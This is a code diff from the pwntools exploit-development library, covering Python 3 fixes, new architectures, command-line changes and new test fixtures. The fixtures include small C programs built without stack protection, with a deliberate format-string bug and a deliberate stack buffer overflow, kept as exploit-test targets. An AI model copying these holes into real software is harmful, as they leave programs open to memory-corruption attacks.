@with_device
|
||||
def readlink(path):
|
||||
path = process(['readlink', path]).recvall()
|
||||
path = process(['realpath', path]).recvall()
|
||||
|
||||
# Readlink will emit a single newline
|
||||
# We can't use the '-n' flag since old versions don't support it
|
||||
if path.endswith('\n'):
|
||||
if path.endswith(b'\n'):
|
||||
path = path[:-1]
|
||||
|
||||
return path
|
||||
return path.decode()
|
||||
|
||||
class Partitions(object):
|
||||
"""Enable access to partitions
|
||||
|
||||
Example:
|
||||
>>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS
|
||||
'0x...000'
|
||||
"""
|
||||
@property
|
||||
@context.quietfunc
|
||||
def by_name_dir(self):
|
||||
return next(find('/dev/block/platform','by-name'))
|
||||
try:
|
||||
return next(find('/dev/block/platform','by-name'))
|
||||
except StopIteration:
|
||||
return '/dev/block'
|
||||
|
||||
@context.quietfunc
|
||||
def __dir__(self):
|
||||
return list(self)
|
||||
|
||||
@context.quietfunc
|
||||
def iter_proc_partitions(self):
|
||||
for line in read('/proc/partitions').splitlines():
|
||||
if not line.strip():
|
||||
continue
|
||||
major, minor, blocks, name = line.split(None, 4)
|
||||
yield blocks, name.decode()
|
||||
|
||||
@context.quietfunc
|
||||
@with_device
|
||||
def __iter__(self):
|
||||
root()
|
||||
|
||||
# Find all named partitions
|
||||
for name in listdir(self.by_name_dir):
|
||||
yield name
|
||||
names = set(listdir(self.by_name_dir))
|
||||
|
||||
# Find all unnamed partitions
|
||||
for _, name in self.iter_proc_partitions():
|
||||
names.add(name)
|
||||
return iter(names)
|
||||
|
||||
def __getattr__(self, attr):
|
||||
if name.startswith("_"):
|
||||
if attr.startswith("_"):
|
||||
raise AttributeError(attr)
|
||||
|
||||
for name in self:
|
||||
@@ -1375,11 +1444,8 @@ class Partitions(object):
|
||||
devname = os.path.basename(devpath)
|
||||
|
||||
# Get the size of the partition
|
||||
for line in read('/proc/partitions').splitlines():
|
||||
if not line.strip():
|
||||
continue
|
||||
major, minor, blocks, name = line.split(None, 4)
|
||||
if devname == name:
|
||||
for blocks, name in self.iter_proc_partitions():
|
||||
if name in (devname, attr):
|
||||
break
|
||||
else:
|
||||
log.error("Could not find size of partition %r" % name)
|
||||
|
||||
@@ -4,6 +4,7 @@ from __future__ import division
|
||||
import ctypes
|
||||
import io
|
||||
import os
|
||||
import six
|
||||
import sys
|
||||
|
||||
from pwnlib.log import getLogger
|
||||
@@ -64,7 +65,7 @@ class BootloaderImage(object):
|
||||
Returns:
|
||||
Contents of the image.
|
||||
"""
|
||||
if isinstance(index_or_name, int):
|
||||
if isinstance(index_or_name, six.integer_types):
|
||||
index = index_or_name
|
||||
else:
|
||||
for i in range(len(self.img_info)):
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
|
||||
#!/usr/bin/env python2
|
||||
"""
|
||||
Pwntools exposes several magic command-line arguments and environment
|
||||
variables when operating in `from pwn import *` mode.
|
||||
|
||||
+35
-14
@@ -167,6 +167,9 @@ def which_binutils(util):
|
||||
'i386': ['x86_64', 'amd64'],
|
||||
'i686': ['x86_64', 'amd64'],
|
||||
'amd64': ['x86_64', 'i386'],
|
||||
'mips64': ['mips'],
|
||||
'powerpc64': ['powerpc'],
|
||||
'sparc64': ['sparc'],
|
||||
}.get(arch, [])
|
||||
|
||||
# If one of the candidate architectures matches the native
|
||||
@@ -190,16 +193,18 @@ def which_binutils(util):
|
||||
for gutil in utils:
|
||||
# e.g. objdump
|
||||
if arch is None:
|
||||
pattern = gutil
|
||||
patterns = [gutil]
|
||||
|
||||
# e.g. aarch64-linux-gnu-objdump
|
||||
# e.g. aarch64-linux-gnu-objdump, avr-objdump
|
||||
else:
|
||||
pattern = '%s*linux*-%s' % (arch,gutil)
|
||||
patterns = ['%s*linux*-%s' % (arch, gutil),
|
||||
'%s-%s' % (arch, gutil)]
|
||||
|
||||
for dir in environ['PATH'].split(':'):
|
||||
res = sorted(glob(path.join(dir, pattern)))
|
||||
if res:
|
||||
return res[0]
|
||||
for pattern in patterns:
|
||||
for dir in environ['PATH'].split(':'):
|
||||
res = sorted(glob(path.join(dir, pattern)))
|
||||
if res:
|
||||
return res[0]
|
||||
|
||||
# No dice!
|
||||
print_binutils_instructions(util, context)
|
||||
@@ -245,9 +250,9 @@ def _assembler():
|
||||
stderr=subprocess.STDOUT, universal_newlines=True)
|
||||
version = re.search(r' (\d\.\d+)', result).group(1)
|
||||
if version < '2.19':
|
||||
log.warn_once('Your binutils version is too old and may not work!\n' + \
|
||||
'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n' + \
|
||||
'Reported Version: %r' % result.strip())
|
||||
log.warn_once('Your binutils version is too old and may not work!\n'
|
||||
'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n'
|
||||
'Reported Version: %r', result.strip())
|
||||
|
||||
|
||||
return assembler
|
||||
@@ -322,15 +327,18 @@ def _bfdname():
|
||||
'amd64' : 'elf64-x86-64',
|
||||
'arm' : 'elf32-%sarm' % E,
|
||||
'thumb' : 'elf32-%sarm' % E,
|
||||
'avr' : 'elf32-avr',
|
||||
'mips' : 'elf32-trad%smips' % E,
|
||||
'mips64' : 'elf64-trad%smips' % E,
|
||||
'alpha' : 'elf64-alpha',
|
||||
'cris' : 'elf32-cris',
|
||||
'ia64' : 'elf64-ia64-%s' % E,
|
||||
'm68k' : 'elf32-m68k',
|
||||
'msp430' : 'elf32-msp430',
|
||||
'powerpc' : 'elf32-powerpc',
|
||||
'powerpc64' : 'elf64-powerpc',
|
||||
'vax' : 'elf32-vax',
|
||||
's390' : 'elf%d-s390' % context.bits,
|
||||
'sparc' : 'elf32-sparc',
|
||||
'sparc64' : 'elf64-sparc',
|
||||
}
|
||||
@@ -344,10 +352,13 @@ def _bfdname():
|
||||
def _bfdarch():
|
||||
arch = context.arch
|
||||
convert = {
|
||||
'i386': 'i386',
|
||||
'amd64': 'i386:x86-64',
|
||||
'thumb': 'arm',
|
||||
'ia64': 'ia64-elf64'
|
||||
'amd64': 'i386:x86-64',
|
||||
'i386': 'i386',
|
||||
'ia64': 'ia64-elf64',
|
||||
'mips64': 'mips',
|
||||
'powerpc64': 'powerpc',
|
||||
'sparc64': 'sparc',
|
||||
'thumb': 'arm',
|
||||
}
|
||||
|
||||
if arch in convert:
|
||||
@@ -637,6 +648,10 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
|
||||
b'H\xc7\xc0\x17\x00\x00\x00'
|
||||
>>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
|
||||
b'R\x00\xa0\xe3'
|
||||
>>> asm("mov #42, r0", arch = 'msp430')
|
||||
b'0@*\x00'
|
||||
>>> asm("la %r0, 42", arch = 's390', bits=64)
|
||||
b'A\x00\x00*'
|
||||
"""
|
||||
result = ''
|
||||
|
||||
@@ -749,6 +764,12 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
|
||||
>>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
|
||||
0: gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
|
||||
f: push rcx
|
||||
>>> print(disasm(unhex('01000000'), arch='sparc64'))
|
||||
0: 01 00 00 00 nop
|
||||
>>> print(disasm(unhex('60000000'), arch='powerpc64'))
|
||||
0: 60 00 00 00 nop
|
||||
>>> print(disasm(unhex('00000000'), arch='mips64'))
|
||||
0: 00000000 nop
|
||||
"""
|
||||
result = ''
|
||||
|
||||
|
||||
@@ -18,5 +18,6 @@ __all__ = [
|
||||
'scramble',
|
||||
'shellcraft',
|
||||
'unhex',
|
||||
'update'
|
||||
'update',
|
||||
'version'
|
||||
]
|
||||
@@ -5,6 +5,9 @@ from __future__ import division
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
import pwnlib
|
||||
pwnlib.args.free_form = False
|
||||
|
||||
from pwn import *
|
||||
from pwnlib.commandline import common
|
||||
|
||||
|
||||
Regular → Executable
+12
-24
@@ -4,7 +4,6 @@ from __future__ import division
|
||||
|
||||
import argparse
|
||||
import functools
|
||||
import os
|
||||
import re
|
||||
|
||||
import pwnlib
|
||||
@@ -19,25 +18,22 @@ p = common.parser_commands.add_parser(
|
||||
formatter_class = argparse.RawDescriptionHelpFormatter,
|
||||
)
|
||||
|
||||
group = p.add_mutually_exclusive_group()
|
||||
group.add_argument(
|
||||
p.add_argument(
|
||||
'-e', '--exact',
|
||||
metavar = 'constant',
|
||||
# nargs = 1,
|
||||
default = None,
|
||||
help = 'Do an exact match for a constant instead of searching for a regex',
|
||||
action='store_true',
|
||||
help='Do an exact match for a constant instead of searching for a regex',
|
||||
)
|
||||
group.add_argument(
|
||||
|
||||
p.add_argument(
|
||||
'regex',
|
||||
nargs = '?',
|
||||
default = '',
|
||||
help = 'The regex matching constant you want to find',
|
||||
help='The regex matching constant you want to find',
|
||||
)
|
||||
|
||||
p.add_argument(
|
||||
'constant',
|
||||
nargs = '?',
|
||||
default = None,
|
||||
type = safeeval.expr,
|
||||
help = 'The constant to find',
|
||||
)
|
||||
|
||||
@@ -65,7 +61,7 @@ p.add_argument(
|
||||
def main(args):
|
||||
if args.exact:
|
||||
# This is the simple case
|
||||
print(cpp(args.exact).strip())
|
||||
print(cpp(args.regex).strip())
|
||||
else:
|
||||
# New we search in the right module.
|
||||
# But first: We find the right module
|
||||
@@ -80,20 +76,12 @@ def main(args):
|
||||
else:
|
||||
matcher = re.compile(args.regex)
|
||||
|
||||
|
||||
# Evaluate the given constant
|
||||
if args.constant:
|
||||
try:
|
||||
constant = safeeval.expr(args.constant)
|
||||
except:
|
||||
log.error("Could not evaluate constant %r" % args.constant)
|
||||
else:
|
||||
constant = None
|
||||
|
||||
# The found matching constants and the length of the longest string
|
||||
out = []
|
||||
maxlen = 0
|
||||
|
||||
constant = args.constant
|
||||
|
||||
for k in dir(mod):
|
||||
# No python stuff
|
||||
if k.endswith('__') and k.startswith('__'):
|
||||
@@ -104,7 +92,7 @@ def main(args):
|
||||
continue
|
||||
|
||||
# Check the constant
|
||||
if constant != None:
|
||||
if constant is not None:
|
||||
val = getattr(mod, k)
|
||||
if args.mask_mode:
|
||||
if constant & val != val:
|
||||
@@ -124,7 +112,7 @@ def main(args):
|
||||
# If we are in match_mode, then try to find a combination of
|
||||
# constants that yield the exact given value
|
||||
# We do not want to find combinations using the value 0.
|
||||
if not (constant == None or constant == 0) and args.mask_mode:
|
||||
if constant and args.mask_mode:
|
||||
mask = constant
|
||||
good = []
|
||||
out = [(v, k) for v, k in out if v != 0]
|
||||
|
||||
@@ -43,7 +43,7 @@ parser.add_argument(
|
||||
help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
|
||||
)
|
||||
|
||||
group = parser.add_mutually_exclusive_group(required = True)
|
||||
group = parser.add_mutually_exclusive_group(required=False)
|
||||
group.add_argument(
|
||||
'-l', '-o', '--offset', '--lookup',
|
||||
dest = 'lookup',
|
||||
@@ -53,9 +53,10 @@ group.add_argument(
|
||||
|
||||
group.add_argument(
|
||||
'count',
|
||||
type = int,
|
||||
nargs = '?',
|
||||
help = 'Number of characters to print'
|
||||
type=int,
|
||||
nargs='?',
|
||||
default=None,
|
||||
help='Number of characters to print'
|
||||
)
|
||||
|
||||
def main(args):
|
||||
@@ -69,7 +70,7 @@ def main(args):
|
||||
pat = int(pat, 0)
|
||||
except ValueError:
|
||||
pass
|
||||
pat = flat(pat)
|
||||
pat = flat(pat, bytes=args.length)
|
||||
|
||||
if len(pat) != subsize:
|
||||
log.critical('Subpattern must be %d bytes' % subsize)
|
||||
@@ -90,7 +91,7 @@ def main(args):
|
||||
want = args.count
|
||||
result = cyclic(want, alphabet, subsize)
|
||||
got = len(result)
|
||||
if got < want:
|
||||
if want is not None and got < want:
|
||||
log.failure("Alphabet too small (max length = %i)" % got)
|
||||
|
||||
out = getattr(sys.stdout, 'buffer', sys.stdout)
|
||||
|
||||
@@ -45,4 +45,4 @@ def main(args):
|
||||
print(os.strerror(value))
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
common.main(__file__)
|
||||
@@ -26,4 +26,4 @@ def main(args):
|
||||
print(enhex(data))
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
common.main(__file__)
|
||||
@@ -21,6 +21,7 @@ from pwnlib.commandline import shellcraft
|
||||
from pwnlib.commandline import template
|
||||
from pwnlib.commandline import unhex
|
||||
from pwnlib.commandline import update
|
||||
from pwnlib.commandline import version
|
||||
from pwnlib.commandline.common import parser
|
||||
from pwnlib.context import context
|
||||
|
||||
@@ -43,6 +44,7 @@ commands = {
|
||||
'template': template.main,
|
||||
'unhex': unhex.main,
|
||||
'update': update.main,
|
||||
'version': version.main,
|
||||
}
|
||||
|
||||
def main():
|
||||
|
||||
@@ -85,12 +85,12 @@ def main(args):
|
||||
text.when = color
|
||||
|
||||
if skip:
|
||||
if infile == sys.stdin:
|
||||
infile.read(skip)
|
||||
else:
|
||||
try:
|
||||
infile.seek(skip, os.SEEK_CUR)
|
||||
except IOError:
|
||||
infile.read(skip)
|
||||
|
||||
if count:
|
||||
if count != -1:
|
||||
infile = io.BytesIO(infile.read(count))
|
||||
|
||||
hl = []
|
||||
|
||||
@@ -80,8 +80,8 @@ def main(args):
|
||||
parser.print_usage()
|
||||
sys.exit(0)
|
||||
|
||||
data = sys.stdin.read()
|
||||
output = data
|
||||
stdin_buffer = getattr(sys.stdin, 'buffer', sys.stdin)
|
||||
output = stdin_buffer.read()
|
||||
fmt = args.format or ('hex' if tty else 'raw')
|
||||
formatters = {'r':bytes, 'h':enhex, 's':repr}
|
||||
|
||||
|
||||
@@ -198,11 +198,11 @@ def main(args):
|
||||
common.parser.print_usage()
|
||||
exit()
|
||||
|
||||
if args.shellcode not in shellcraft.templates:
|
||||
try:
|
||||
func = get_template(args.shellcode)
|
||||
except AttributeError:
|
||||
log.error("Unknown shellcraft template %r. Use --list to see available shellcodes." % args.shellcode)
|
||||
|
||||
func = get_template(args.shellcode)
|
||||
|
||||
if args.show:
|
||||
# remove doctests
|
||||
doc = []
|
||||
|
||||
@@ -18,9 +18,10 @@ parser.add_argument('exe', nargs='?', help='Target binary')
|
||||
parser.add_argument('--host', help='Remote host / SSH server')
|
||||
parser.add_argument('--port', help='Remote port / SSH port', type=int)
|
||||
parser.add_argument('--user', help='SSH Username')
|
||||
parser.add_argument('--pass', help='SSH Password', dest='password')
|
||||
parser.add_argument('--pass', '--password', help='SSH Password', dest='password')
|
||||
parser.add_argument('--path', help='Remote path of file on SSH server')
|
||||
parser.add_argument('--quiet', help='Less verbose template comments', action='store_true')
|
||||
parser.add_argument('--color', help='Print the output in color', choices=['never', 'always', 'auto'], default='auto')
|
||||
|
||||
def main(args):
|
||||
cache = None
|
||||
@@ -40,7 +41,14 @@ def main(args):
|
||||
log.error("Must specify --path or a exe")
|
||||
|
||||
s = ssh(args.user, args.host, args.port or 22, args.password or None)
|
||||
s.download(args.path or args.exe)
|
||||
|
||||
try:
|
||||
remote = args.path or args.exe
|
||||
s.download(remote)
|
||||
except Exception:
|
||||
log.warning("Could not download file %r, opening a shell", remote)
|
||||
s.interactive()
|
||||
return
|
||||
|
||||
if not args.exe:
|
||||
args.exe = os.path.basename(args.path)
|
||||
@@ -57,8 +65,16 @@ def main(args):
|
||||
# Fix Mako formatting bs
|
||||
output = re.sub('\n\n\n', '\n\n', output)
|
||||
|
||||
# Colorize the output if it's a TTY
|
||||
if args.color == 'always' or (args.color == 'auto' and sys.stdout.isatty()):
|
||||
from pygments import highlight
|
||||
from pygments.formatters import TerminalFormatter
|
||||
from pygments.lexers.python import PythonLexer
|
||||
output = highlight(output, PythonLexer(), TerminalFormatter())
|
||||
|
||||
print(output)
|
||||
|
||||
# If redirected to a file, make the resulting script executable
|
||||
if not sys.stdout.isatty():
|
||||
try: os.fchmod(sys.stdout.fileno(), 0o700)
|
||||
except OSError: pass
|
||||
|
||||
@@ -30,4 +30,4 @@ def main(args):
|
||||
sys.stderr.write(str(e) + '\n')
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
common.main(__file__)
|
||||
@@ -0,0 +1,31 @@
|
||||
#!/usr/bin/env python
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
import pwnlib
|
||||
pwnlib.args.free_form = False
|
||||
|
||||
from pwn import *
|
||||
from pwnlib.commandline import common
|
||||
|
||||
parser = common.parser_commands.add_parser(
|
||||
'version',
|
||||
help = 'Pwntools version'
|
||||
)
|
||||
|
||||
def main(a):
|
||||
version = pwnlib.version
|
||||
|
||||
git_root = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))
|
||||
if os.path.exists(os.path.join(git_root, '.git')):
|
||||
gitver = subprocess.check_output(['git', '-C', git_root, 'log', '-1', '--format=%h (%cr)'])
|
||||
branch = subprocess.check_output(['git', '-C', git_root, 'rev-parse', '--abbrev-ref', 'HEAD'])
|
||||
version = '%s-%s-%s' % (version, branch.decode().strip(), gitver.decode())
|
||||
|
||||
log.info("Pwntools v%s" % version)
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
@@ -26,6 +26,9 @@ supported by ``pwnlib.util.safeeval.expr``.
|
||||
randomize=1
|
||||
timeout=60
|
||||
terminal=['x-terminal-emulator', '-e']
|
||||
|
||||
[update]
|
||||
interval=7
|
||||
"""
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
@@ -92,7 +92,7 @@ class ConstantsModule(ModuleType):
|
||||
# Special case for __all__, we want to return the contextually
|
||||
# relevant module.
|
||||
if key == '__all__':
|
||||
return self.guess().__dict__.keys()
|
||||
return list(self.guess().__dict__.keys())
|
||||
|
||||
# Special case for all other special properties which aren't defined
|
||||
if key.endswith('__'):
|
||||
@@ -145,7 +145,13 @@ class ConstantsModule(ModuleType):
|
||||
if key not in self._env_store:
|
||||
self._env_store[key] = {key: getattr(self, key) for key in dir(self) if not key.endswith('__')}
|
||||
|
||||
return Constant('(%s)' % string, safeeval.values(string, self._env_store[key]))
|
||||
val = safeeval.values(string, self._env_store[key])
|
||||
|
||||
# if the expression is not assembly-safe, it is not so vital to preserve it
|
||||
if set(string) & (set(bytearray(range(32)).decode()) | set('"#$\',.;@[\\]`{}')):
|
||||
string = val
|
||||
|
||||
return Constant('(%s)' % string, val)
|
||||
|
||||
|
||||
# To prevent garbage collection
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
#!/usr/bin/env python2
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
Implements context management so that nested/scoped contexts and threaded
|
||||
@@ -27,6 +26,11 @@ from pwnlib.config import register_config
|
||||
from pwnlib.device import Device
|
||||
from pwnlib.timeout import Timeout
|
||||
|
||||
try:
|
||||
from collections.abc import Iterable
|
||||
except ImportError:
|
||||
from collections import Iterable
|
||||
|
||||
__all__ = ['context', 'ContextType', 'Thread']
|
||||
|
||||
_original_socket = socket.socket
|
||||
@@ -354,7 +358,7 @@ class ContextType(object):
|
||||
'log_console': sys.stdout,
|
||||
'randomize': False,
|
||||
'rename_corefiles': True,
|
||||
'newline': '\n',
|
||||
'newline': b'\n',
|
||||
'noptrace': False,
|
||||
'os': 'linux',
|
||||
'proxy': None,
|
||||
@@ -839,6 +843,8 @@ class ContextType(object):
|
||||
return b.decode('utf-8')
|
||||
except UnicodeDecodeError:
|
||||
return b.decode('latin1')
|
||||
except AttributeError:
|
||||
return b
|
||||
return b.decode(self.encoding)
|
||||
|
||||
@_validator
|
||||
@@ -1117,7 +1123,7 @@ class ContextType(object):
|
||||
if isinstance(proxy, str):
|
||||
proxy = (socks.SOCKS5, proxy)
|
||||
|
||||
if not isinstance(proxy, collections.Iterable):
|
||||
if not isinstance(proxy, Iterable):
|
||||
raise AttributeError('proxy must be a string hostname, or tuple of arguments for socks.set_default_proxy')
|
||||
|
||||
socks.set_default_proxy(*proxy)
|
||||
@@ -1225,12 +1231,13 @@ class ContextType(object):
|
||||
>>> cache_dir == context.cache_dir
|
||||
True
|
||||
"""
|
||||
home = os.path.expanduser('~')
|
||||
xdg_cache_home = os.environ.get('XDG_CACHE_HOME') or \
|
||||
os.path.join(os.path.expanduser('~'), '.cache')
|
||||
|
||||
if not os.access(home, os.W_OK):
|
||||
if not os.access(xdg_cache_home, os.W_OK):
|
||||
return None
|
||||
|
||||
cache = os.path.join(home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
|
||||
cache = os.path.join(xdg_cache_home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
|
||||
|
||||
if not os.path.exists(cache):
|
||||
try:
|
||||
@@ -1271,6 +1278,15 @@ class ContextType(object):
|
||||
"""
|
||||
return bool(v)
|
||||
|
||||
@_validator
|
||||
def newline(self, v):
|
||||
"""Line ending used for Tubes by default.
|
||||
|
||||
This configures the newline emitted by e.g. ``sendline`` or that is used
|
||||
as a delimiter for e.g. ``recvline``.
|
||||
"""
|
||||
return six.ensure_binary(v)
|
||||
|
||||
|
||||
@_validator
|
||||
def gdbinit(self, value):
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
from __future__ import absolute_import
|
||||
from pwnlib.data.elf import fmtstr
|
||||
from pwnlib.data.elf import relro
|
||||
from pwnlib.data.elf import ret2dlresolve
|
||||
|
||||
import os
|
||||
path = os.path.dirname(__file__)
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
|
||||
all: i386
|
||||
|
||||
i386: vuln.c
|
||||
gcc "$^" -fno-stack-protector -no-pie -m32 -o $@
|
||||
@@ -0,0 +1,5 @@
|
||||
import os
|
||||
path = os.path.dirname(__file__)
|
||||
|
||||
def get(x):
|
||||
return os.path.join(path, x)
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,25 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#define MEMORY_ADDRESS ((void*)0x11111000)
|
||||
#define MEMORY_SIZE 1024
|
||||
#define TARGET ((int *) 0x11111110)
|
||||
int main(int argc, char const *argv[])
|
||||
{
|
||||
char buff[1024];
|
||||
void *ptr = NULL;
|
||||
int *my_var = TARGET;
|
||||
ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if(ptr != MEMORY_ADDRESS)
|
||||
{
|
||||
perror("mmap");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
*my_var = 0x41414141;
|
||||
write(1, &my_var, sizeof(int *));
|
||||
scanf("%s", buff);
|
||||
dprintf(2, buff);
|
||||
write(1, my_var, sizeof(int));
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
|
||||
all: i386 amd64
|
||||
|
||||
i386: vuln.c
|
||||
gcc "$^" -fno-stack-protector -no-pie -m32 -o $@
|
||||
|
||||
amd64: vuln.c
|
||||
gcc "$^" -fno-stack-protector -no-pie -o $@
|
||||
@@ -0,0 +1,5 @@
|
||||
import os
|
||||
path = os.path.dirname(__file__)
|
||||
|
||||
def get(x):
|
||||
return os.path.join(path, x)
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1,8 @@
|
||||
#include <unistd.h>
|
||||
void vuln(void){
|
||||
char buf[64];
|
||||
read(STDIN_FILENO, buf, 200);
|
||||
}
|
||||
int main(int argc, char** argv){
|
||||
vuln();
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env python2
|
||||
from __future__ import division
|
||||
import argparse
|
||||
import keyword
|
||||
import os
|
||||
|
||||
from pwnlib import constants
|
||||
@@ -62,7 +63,7 @@ CALL = """
|
||||
|
||||
for name, arg in zip(argument_names, argument_values):
|
||||
if arg is not None:
|
||||
syscall_repr.append('%s=%r' % (name, arg))
|
||||
syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))
|
||||
|
||||
# If the argument itself (input) is a register...
|
||||
if arg in allregs:
|
||||
@@ -75,8 +76,8 @@ CALL = """
|
||||
|
||||
# The argument is not a register. It is a string value, and we
|
||||
# are expecting a string value
|
||||
elif name in can_pushstr and isinstance(arg, (bytes, six.text_type)):
|
||||
if not isinstance(arg, bytes):
|
||||
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
|
||||
if isinstance(arg, six.text_type):
|
||||
arg = arg.encode('utf-8')
|
||||
string_arguments[name] = arg
|
||||
|
||||
@@ -144,12 +145,11 @@ def can_be_array(arg):
|
||||
|
||||
|
||||
def fix_bad_arg_names(func, arg):
|
||||
if arg.name == 'str':
|
||||
return 'str_'
|
||||
if arg.name == 'len':
|
||||
return 'length'
|
||||
if arg.name == 'repr':
|
||||
return 'repr_'
|
||||
|
||||
if arg.name in ('str', 'repr') or keyword.iskeyword(arg.name):
|
||||
return arg.name + '_'
|
||||
|
||||
if func.name == 'open' and arg.name == 'vararg':
|
||||
return 'mode'
|
||||
@@ -277,8 +277,10 @@ def generate_one(target):
|
||||
CALL.format(**template_variables)
|
||||
]
|
||||
|
||||
with open(os.path.join(target, name + '.asm'), 'wt+') as f:
|
||||
f.write('\n'.join(map(str.strip, lines)))
|
||||
if keyword.iskeyword(name):
|
||||
name += '_'
|
||||
with open(os.path.join(target, name + '.asm'), 'wt') as f:
|
||||
f.write('\n'.join(map(str.strip, lines)) + '\n')
|
||||
|
||||
if __name__ == '__main__':
|
||||
p = argparse.ArgumentParser()
|
||||
|
||||
+9
-6
@@ -75,8 +75,8 @@ def sysv_hash(symbol):
|
||||
"""
|
||||
h = 0
|
||||
g = 0
|
||||
for c in symbol:
|
||||
h = (h << 4) + ord(c)
|
||||
for c in bytearray(context._encode(symbol)):
|
||||
h = (h << 4) + c
|
||||
g = h & 0xf0000000
|
||||
h ^= (g >> 24)
|
||||
h &= ~g
|
||||
@@ -87,9 +87,10 @@ def gnu_hash(s):
|
||||
|
||||
Function used to generated GNU-style hashes for strings.
|
||||
"""
|
||||
s = bytearray(context._encode(s))
|
||||
h = 5381
|
||||
for c in s:
|
||||
h = h * 33 + ord(c)
|
||||
h = h * 33 + c
|
||||
return h & 0xffffffff
|
||||
|
||||
class DynELF(object):
|
||||
@@ -292,7 +293,7 @@ class DynELF(object):
|
||||
w = None
|
||||
|
||||
while True:
|
||||
if self.leak.compare(ptr, '\x7fELF'):
|
||||
if self.leak.compare(ptr, b'\x7fELF'):
|
||||
break
|
||||
|
||||
# See if we can short circuit the search
|
||||
@@ -641,7 +642,7 @@ class DynELF(object):
|
||||
p_name = leak.field(cur, LinkMap.l_name)
|
||||
name = leak.s(p_name)
|
||||
|
||||
if libname in name:
|
||||
if libname.encode('utf-8') in name:
|
||||
break
|
||||
|
||||
if name:
|
||||
@@ -740,6 +741,7 @@ class DynELF(object):
|
||||
|
||||
# Leak the name of the function from the symbol table
|
||||
name = leak.s(strtab + leak.field(sym, Sym.st_name))
|
||||
name = name.decode('utf-8')
|
||||
|
||||
# Make sure it matches the name of the symbol we were looking for.
|
||||
if name == symb:
|
||||
@@ -823,6 +825,7 @@ class DynELF(object):
|
||||
# Check for collision on hash values
|
||||
sym = symtab + sizeof(Sym) * (ndx + i)
|
||||
name = leak.s(strtab + leak.field(sym, Sym.st_name))
|
||||
name = name.decode('utf-8')
|
||||
|
||||
if name == symb:
|
||||
# No collision, get offset and calculate address
|
||||
@@ -854,7 +857,7 @@ class DynELF(object):
|
||||
|
||||
for offset in libcdb.get_build_id_offsets():
|
||||
address = libbase + offset
|
||||
if self.leak.compare(address + 0xC, "GNU\x00"):
|
||||
if self.leak.compare(address + 0xC, b"GNU\x00"):
|
||||
return enhex(b''.join(self.leak.raw(address + 0x10, 20)))
|
||||
else:
|
||||
self.status("Build ID not found at offset %#x" % offset)
|
||||
|
||||
@@ -21,8 +21,8 @@ class KernelConfig(object):
|
||||
self.excludes = set(excludes)
|
||||
|
||||
#: Kernel version that this check should be enforced on
|
||||
self.minver = map(int, str(minver).split('.'))
|
||||
self.maxver = map(int, str(maxver).split('.'))
|
||||
self.minver = list(map(int, str(minver).split('.')))
|
||||
self.maxver = list(map(int, str(maxver).split('.')))
|
||||
|
||||
def relevant(self, config):
|
||||
|
||||
|
||||
+13
-13
@@ -219,8 +219,8 @@ class Mapping(object):
|
||||
stop += self.stop
|
||||
|
||||
if not (self.start <= start <= stop <= self.stop):
|
||||
log.error("Byte range [%#x:%#x] not within range [%#x:%#x]" \
|
||||
% (start, stop, self.start, self.stop))
|
||||
log.error("Byte range [%#x:%#x] not within range [%#x:%#x]",
|
||||
start, stop, self.start, self.stop)
|
||||
|
||||
data = self._core.read(start, stop-start)
|
||||
|
||||
@@ -431,7 +431,7 @@ class Corefile(ELF):
|
||||
|
||||
Corefiles can also be pulled from remote machines via SSH!
|
||||
|
||||
>>> s = ssh(host='example.pwnme')
|
||||
>>> s = ssh(user='travis', host='example.pwnme', password='demopass')
|
||||
>>> _ = s.set_working_directory()
|
||||
>>> elf = ELF.from_assembly(shellcraft.trap())
|
||||
>>> path = s.upload(elf.path)
|
||||
@@ -484,7 +484,7 @@ class Corefile(ELF):
|
||||
>>> io = elf.process()
|
||||
>>> io.wait(2)
|
||||
>>> core = io.corefile
|
||||
[!] End of the stack is corrupted, skipping stack parsing (got: 4141414141414141)
|
||||
[!] End of the stack is corrupted, skipping stack parsing (got: 41414141)
|
||||
>>> core.argc, core.argv, core.env
|
||||
(0, [], {})
|
||||
